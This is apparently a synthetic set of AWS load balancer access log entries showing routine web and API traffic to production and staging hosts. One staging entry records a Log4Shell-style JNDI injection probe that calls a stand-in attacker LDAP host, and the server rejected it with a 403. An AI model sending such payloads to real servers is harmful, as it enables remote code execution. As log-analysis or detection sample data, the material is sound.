"Root=1-6723dade-530839dd598a45349a8bac05" "prod-web-alb.example.com" "-" 3 2024-11-01T02:30:38.057950Z "forward" "-" "-" "10.0.240.179:443" "200" "-" "-" +https 2024-11-01T02:30:39.066204Z prod-web-alb 227.112.154.68:47168 10.0.203.185:443 0.005783 0.389798 0.097437 404 404 908 13979 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dadf-aa6c8ba6e9e64c659fd133bf" "prod-web-alb.example.com" "-" 9 2024-11-01T02:30:39.066204Z "forward" "-" "-" "10.0.203.185:443" "404" "-" "-" +https 2024-11-01T02:30:39.692152Z prod-api-alb 118.112.237.136:58380 10.0.248.117:443 0.025934 0.182299 0.035914 301 301 354 3439 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dadf-d0b91a0554bd48468ce371c4" "prod-api-alb.example.com" "-" 8 2024-11-01T02:30:39.692152Z "forward" "-" "-" "10.0.248.117:443" "301" "-" "-" +https 2024-11-01T02:30:40.007549Z prod-api-alb 55.143.164.36:62521 10.0.116.142:443 0.058125 0.194550 0.014699 200 200 932 3777 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dae0-1b4a6e766b4941c1939e1ff6" "prod-api-alb.example.com" "-" 2 2024-11-01T02:30:40.007549Z "forward" "-" "-" "10.0.116.142:443" "200" "-" "-" +https 2024-11-01T02:30:41.098117Z prod-web-alb 78.55.70.87:52277 10.0.73.236:443 0.048469 0.208797 0.063144 200 200 261 4879 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dae1-aa36d18cc0d54e6bac7d3308" "prod-web-alb.example.com" "-" 5 2024-11-01T02:30:41.098117Z "forward" "-" "-" "10.0.73.236:443" "200" "-" "-" +https 2024-11-01T02:30:41.420370Z staging-alb 123.54.69.127:39062 98.39.204.43:80 0.044373 0.250306 0.123449 200 200 64 3113 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dae1-3bf999e3d58747e7af68d69e" "staging-alb.example.com" "-" 8 2024-11-01T02:30:41.420370Z "forward" "-" "-" "98.39.204.43:80" "200" "-" "-" +https 2024-11-01T02:30:42.334936Z prod-api-alb 69.255.137.188:18234 10.0.98.116:443 0.031387 0.474787 0.043604 200 200 745 2684 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dae2-9afdf08c6355473d995d737d" "prod-api-alb.example.com" "-" 2 2024-11-01T02:30:42.334936Z "forward" "-" "-" "10.0.98.116:443" "200" "-" "-" +https 2024-11-01T02:30:43.937571Z prod-api-alb 215.141.114.141:46674 10.0.32.205:443 0.099586 0.435030 0.063493 302 302 277 8076 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dae3-36117ae462794be78bdf9eda" "prod-api-alb.example.com" "-" 5 2024-11-01T02:30:43.937571Z "forward" "-" "-" "10.0.32.205:443" "302" "-" "-" +https 2024-11-01T02:30:45.935772Z prod-web-alb 8.138.90.169:22205 10.0.67.226:443 0.012285 0.491677 0.091925 200 200 389 813 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dae5-e1b1d751590948bd906ce2f9" "prod-web-alb.example.com" "-" 1 2024-11-01T02:30:45.935772Z "forward" "-" "-" "10.0.67.226:443" "200" "-" "-" +https 2024-11-01T02:30:46.199853Z prod-web-alb 138.146.64.109:30642 10.0.177.66:443 0.084518 0.338991 0.040729 302 302 469 12077 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dae6-f25c8f6e29e54fcd91202230" "prod-web-alb.example.com" "-" 3 2024-11-01T02:30:46.199853Z "forward" "-" "-" "10.0.177.66:443" "302" "-" "-" +https 2024-11-01T02:30:47.098680Z prod-api-alb 148.28.255.47:33422 10.0.133.129:443 0.096013 0.369275 0.069591 404 404 211 13724 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dae7-7e9c03fbd6824411aef56a35" "prod-api-alb.example.com" "-" 4 2024-11-01T02:30:47.098680Z "forward" "-" "-" "10.0.133.129:443" "404" "-" "-" +https 2024-11-01T02:30:47.333835Z prod-api-alb 225.14.133.177:43249 10.0.173.116:443 0.003348 0.183801 0.066182 200 200 901 12783 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dae7-0fc6401d978f48559ffcef3f" "prod-api-alb.example.com" "-" 4 2024-11-01T02:30:47.333835Z "forward" "-" "-" "10.0.173.116:443" "200" "-" "-" +https 2024-11-01T02:30:49.064521Z staging-alb 0.206.206.85:61026 248.217.58.3:8080 0.090070 0.527468 0.110153 200 200 498 10368 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dae9-d87fbdb879684cb08637770f" "staging-alb.example.com" "-" 6 2024-11-01T02:30:49.064521Z "forward" "-" "-" "248.217.58.3:8080" "200" "-" "-" +https 2024-11-01T02:30:49.813212Z staging-alb 19.112.186.238:36358 197.21.19.3:80 0.007176 0.681164 0.091804 200 200 966 14426 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dae9-5025ef2b02da45029d9101f5" "staging-alb.example.com" "-" 3 2024-11-01T02:30:49.813212Z "forward" "-" "-" "197.21.19.3:80" "200" "-" "-" +https 2024-11-01T02:30:51.506796Z prod-api-alb 168.128.39.172:58515 10.0.77.32:443 0.027651 0.495591 0.003405 302 302 16 629 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723daeb-ec68458d085a4f8f910ad7b9" "prod-api-alb.example.com" "-" 8 2024-11-01T02:30:51.506796Z "forward" "-" "-" "10.0.77.32:443" "302" "-" "-" +https 2024-11-01T02:30:52.402910Z prod-api-alb 119.78.98.30:58765 10.0.19.31:443 0.061067 0.250094 0.094343 404 404 202 6047 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723daec-7d74f2200b24467a8a9db97d" "prod-api-alb.example.com" "-" 8 2024-11-01T02:30:52.402910Z "forward" "-" "-" "10.0.19.31:443" "404" "-" "-" +https 2024-11-01T02:30:52.670170Z prod-api-alb 68.232.36.103:42685 10.0.56.122:443 0.025382 0.494131 0.050419 200 200 545 9314 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723daec-5dfbc29a2966439d9dc39245" "prod-api-alb.example.com" "-" 1 2024-11-01T02:30:52.670170Z "forward" "-" "-" "10.0.56.122:443" "200" "-" "-" +https 2024-11-01T02:30:53.002916Z prod-web-alb 77.72.54.184:30547 10.0.41.45:443 0.071670 0.217670 0.067322 200 200 889 910 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723daed-a3cce80466be4009803348a1" "prod-web-alb.example.com" "-" 6 2024-11-01T02:30:53.002916Z "forward" "-" "-" "10.0.41.45:443" "200" "-" "-" +https 2024-11-01T02:30:53.309356Z prod-web-alb 26.127.19.228:44194 10.0.171.94:443 0.027923 0.332393 0.068910 200 200 545 12402 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723daed-41c912ecbad84bcfa31d0e84" "prod-web-alb.example.com" "-" 8 2024-11-01T02:30:53.309356Z "forward" "-" "-" "10.0.171.94:443" "200" "-" "-" +https 2024-11-01T02:30:55.106945Z prod-web-alb 203.164.63.12:35693 10.0.126.206:443 0.076127 0.451130 0.039311 404 404 508 3103 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723daef-2dbb0db8dcb34935956218fb" "prod-web-alb.example.com" "-" 9 2024-11-01T02:30:55.106945Z "forward" "-" "-" "10.0.126.206:443" "404" "-" "-" +https 2024-11-01T02:30:56.784524Z prod-api-alb 30.176.14.59:25625 10.0.148.106:443 0.032906 0.408985 0.050487 301 301 101 9787 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723daf0-d74db03ba2d7457b8bb42bea" "prod-api-alb.example.com" "-" 9 2024-11-01T02:30:56.784524Z "forward" "-" "-" "10.0.148.106:443" "301" "-" "-" +https 2024-11-01T02:30:58.239275Z staging-alb 7.51.177.196:35976 196.70.125.144:80 0.044646 0.202743 0.111393 302 302 854 3399 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723daf2-fd5bc69553be4cfc9fa0c2ec" "staging-alb.example.com" "-" 9 2024-11-01T02:30:58.239275Z "forward" "-" "-" "196.70.125.144:80" "302" "-" "-" +http 2024-11-01T02:30:59.804235Z staging-alb 28.113.99.54:11668 202.117.1.246:443 0.066745 0.721329 0.105810 200 200 389 4564 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723daf3-e1734681af334595b53f0a19" "staging-alb.example.com" "-" 3 2024-11-01T02:30:59.804235Z "forward" "-" "-" "202.117.1.246:443" "200" "-" "-" +http 2024-11-01T02:31:00.953169Z staging-alb 191.126.110.150:16899 75.198.112.220:443 0.025990 0.019496 0.032460 200 200 678 3694 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723daf4-fc0c755ebda04c5291ae161b" "staging-alb.example.com" "-" 5 2024-11-01T02:31:00.953169Z "forward" "-" "-" "75.198.112.220:443" "200" "-" "-" +http 2024-11-01T02:31:02.029176Z staging-alb 192.89.181.228:16747 184.44.231.25:443 0.033662 0.134963 0.149597 200 200 369 10749 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723daf6-ec4c0fed0efc47b49874bfef" "staging-alb.example.com" "-" 4 2024-11-01T02:31:02.029176Z "forward" "-" "-" "184.44.231.25:443" "200" "-" "-" +https 2024-11-01T02:31:02.579007Z prod-api-alb 82.7.201.93:27226 10.0.66.117:443 0.087114 0.339825 0.040107 200 200 759 6098 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723daf6-d9eb62f613e649c491d30fcd" "prod-api-alb.example.com" "-" 2 2024-11-01T02:31:02.579007Z "forward" "-" "-" "10.0.66.117:443" "200" "-" "-" +https 2024-11-01T02:31:04.193052Z staging-alb 157.144.10.101:50380 77.144.11.36:443 0.096231 0.564473 0.017403 200 200 151 2593 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723daf8-26c064f7b66142759cc20417" "staging-alb.example.com" "-" 1 2024-11-01T02:31:04.193052Z "forward" "-" "-" "77.144.11.36:443" "200" "-" "-" +https 2024-11-01T02:31:05.503449Z prod-api-alb 97.100.21.67:47598 10.0.199.173:443 0.059094 0.252023 0.091435 200 200 891 11474 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723daf9-bb4685e8ec774da5a13fb5d5" "prod-api-alb.example.com" "-" 1 2024-11-01T02:31:05.503449Z "forward" "-" "-" "10.0.199.173:443" "200" "-" "-" +https 2024-11-01T02:31:06.962072Z prod-web-alb 154.97.117.3:10538 10.0.150.29:443 0.032685 0.259708 0.097401 302 302 900 4297 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dafa-c9fd3bd9078f4aada86e4dfb" "prod-web-alb.example.com" "-" 7 2024-11-01T02:31:06.962072Z "forward" "-" "-" "10.0.150.29:443" "302" "-" "-" +https 2024-11-01T02:31:07.865879Z prod-web-alb 59.49.18.124:13354 10.0.64.99:443 0.029605 0.087595 0.061579 301 301 470 4815 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dafb-64fb53e74e3d4751acaafa3b" "prod-web-alb.example.com" "-" 7 2024-11-01T02:31:07.865879Z "forward" "-" "-" "10.0.64.99:443" "301" "-" "-" +https 2024-11-01T02:31:08.826564Z prod-web-alb 138.9.137.170:28890 10.0.201.130:443 0.025532 0.054640 0.099701 200 200 799 14843 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dafc-1a602fb6e98b4bccafb2a28c" "prod-web-alb.example.com" "-" 5 2024-11-01T02:31:08.826564Z "forward" "-" "-" "10.0.201.130:443" "200" "-" "-" +http 2024-11-01T02:31:09.431495Z staging-alb 74.92.136.207:26108 183.54.148.172:443 0.027487 0.704240 0.059987 301 301 768 6551 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dafd-df86d4556658433fb7361825" "staging-alb.example.com" "-" 6 2024-11-01T02:31:09.431495Z "forward" "-" "-" "183.54.148.172:443" "301" "-" "-" +https 2024-11-01T02:31:11.202633Z prod-api-alb 8.186.123.23:21358 10.0.130.100:443 0.039717 0.406404 0.079581 200 200 699 2570 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723daff-72dea654e8134e88aa0a68cd" "prod-api-alb.example.com" "-" 7 2024-11-01T02:31:11.202633Z "forward" "-" "-" "10.0.130.100:443" "200" "-" "-" +https 2024-11-01T02:31:12.895743Z staging-alb 45.155.205.67:55966 204.170.210.14:8080 0.138033 0.672800 0.018775 403 403 729 12521 "POST /?x=${jndi:ldap://attack.com/exp} HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db00-a2aa8937c7884158bf8dea50" "-" "-" 1 2024-11-01T02:31:12.895743Z "forward" "-" "-" "204.170.210.14:8080" "403" "-" "-" +https 2024-11-01T02:31:14.416099Z prod-api-alb 0.198.217.218:35950 10.0.49.107:443 0.099589 0.339150 0.077782 301 301 382 8304 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db02-89aee298775f4be4b57a3e3d" "prod-api-alb.example.com" "-" 7 2024-11-01T02:31:14.416099Z "forward" "-" "-" "10.0.49.107:443" "301" "-" "-" +https 2024-11-01T02:31:15.813875Z prod-web-alb 90.201.11.107:35455 10.0.229.153:443 0.018829 0.136803 0.097747 404 404 542 730 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db03-33e1c991e66a4010a7791269" "prod-web-alb.example.com" "-" 8 2024-11-01T02:31:15.813875Z "forward" "-" "-" "10.0.229.153:443" "404" "-" "-" +https 2024-11-01T02:31:17.041630Z prod-web-alb 195.238.109.169:20354 10.0.167.86:443 0.007356 0.280542 0.044253 404 404 580 10992 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db05-7d284ee073bc4164b5f8a6f2" "prod-web-alb.example.com" "-" 1 2024-11-01T02:31:17.041630Z "forward" "-" "-" "10.0.167.86:443" "404" "-" "-" +https 2024-11-01T02:31:18.419009Z prod-api-alb 176.43.19.111:52600 10.0.81.82:443 0.081810 0.004397 0.084486 200 200 457 8661 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db06-69e2aff14ca147e7bf929b4a" "prod-api-alb.example.com" "-" 3 2024-11-01T02:31:18.419009Z "forward" "-" "-" "10.0.81.82:443" "200" "-" "-" +https 2024-11-01T02:31:19.535838Z prod-web-alb 196.111.132.69:11771 10.0.58.102:443 0.006818 0.343184 0.052254 200 200 521 13278 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db07-6d97cfa5d5d247c4be86bb78" "prod-web-alb.example.com" "-" 8 2024-11-01T02:31:19.535838Z "forward" "-" "-" "10.0.58.102:443" "200" "-" "-" +https 2024-11-01T02:31:20.146225Z prod-web-alb 203.229.18.157:24968 10.0.31.139:443 0.021175 0.410146 0.041018 200 200 411 13518 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db08-5dd494f973f54f62a3997557" "-" "-" 3 2024-11-01T02:31:20.146225Z "forward" "-" "-" "10.0.31.139:443" "200" "-" "-" +http 2024-11-01T02:31:20.567302Z staging-alb 224.128.241.54:20541 108.5.195.130:8080 0.018738 0.008943 0.001882 200 200 683 9253 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db08-c894039131a0410c85480487" "staging-alb.example.com" "-" 1 2024-11-01T02:31:20.567302Z "forward" "-" "-" "108.5.195.130:8080" "200" "-" "-" +http 2024-11-01T02:31:22.408597Z staging-alb 64.164.193.111:62573 67.238.73.235:80 0.036911 0.026128 0.021658 404 404 475 862 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db0a-c52ba41401e84eadb58a61f5" "staging-alb.example.com" "-" 8 2024-11-01T02:31:22.408597Z "forward" "-" "-" "67.238.73.235:80" "404" "-" "-" +https 2024-11-01T02:31:24.016613Z prod-api-alb 217.200.170.33:19062 10.0.38.222:443 0.042524 0.258047 0.010572 302 302 160 14865 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db0c-2677780690d64e9c90efcfc1" "prod-api-alb.example.com" "-" 3 2024-11-01T02:31:24.016613Z "forward" "-" "-" "10.0.38.222:443" "302" "-" "-" +https 2024-11-01T02:31:25.722323Z prod-web-alb 249.88.238.185:22504 10.0.204.74:443 0.029885 0.204160 0.046239 302 302 173 5545 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db0d-18e58a4428c84304a949bd66" "prod-web-alb.example.com" "-" 8 2024-11-01T02:31:25.722323Z "forward" "-" "-" "10.0.204.74:443" "302" "-" "-" +https 2024-11-01T02:31:26.252614Z prod-api-alb 181.125.246.41:11879 10.0.94.147:443 0.003747 0.191079 0.048099 302 302 153 6454 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db0e-1a05ae87e152473b9f1f2b97" "prod-api-alb.example.com" "-" 6 2024-11-01T02:31:26.252614Z "forward" "-" "-" "10.0.94.147:443" "302" "-" "-" +https 2024-11-01T02:31:27.110192Z prod-web-alb 45.3.213.233:49278 10.0.205.7:443 0.020377 0.248463 0.008291 200 200 899 5102 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db0f-c904f28d4c0945d3a827631a" "prod-web-alb.example.com" "-" 0 2024-11-01T02:31:27.110192Z "forward" "-" "-" "10.0.205.7:443" "200" "-" "-" +https 2024-11-01T02:31:27.922216Z prod-web-alb 171.46.48.40:25855 10.0.80.214:443 0.045553 0.081971 0.014680 200 200 762 14442 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db0f-1fbb350904bc4e42a0a63bd6" "prod-web-alb.example.com" "-" 3 2024-11-01T02:31:27.922216Z "forward" "-" "-" "10.0.80.214:443" "200" "-" "-" +https 2024-11-01T02:31:29.079732Z prod-api-alb 222.1.48.116:36308 10.0.202.80:443 0.072769 0.394517 0.075806 301 301 426 9426 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db11-cd3273d0c82546d58a7fecdb" "prod-api-alb.example.com" "-" 6 2024-11-01T02:31:29.079732Z "forward" "-" "-" "10.0.202.80:443" "301" "-" "-" +https 2024-11-01T02:31:29.262409Z prod-api-alb 31.244.94.202:26661 10.0.250.85:443 0.082836 0.337764 0.051951 200 200 14 2246 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db11-d0d7d5828854465a802ae60b" "prod-api-alb.example.com" "-" 0 2024-11-01T02:31:29.262409Z "forward" "-" "-" "10.0.250.85:443" "200" 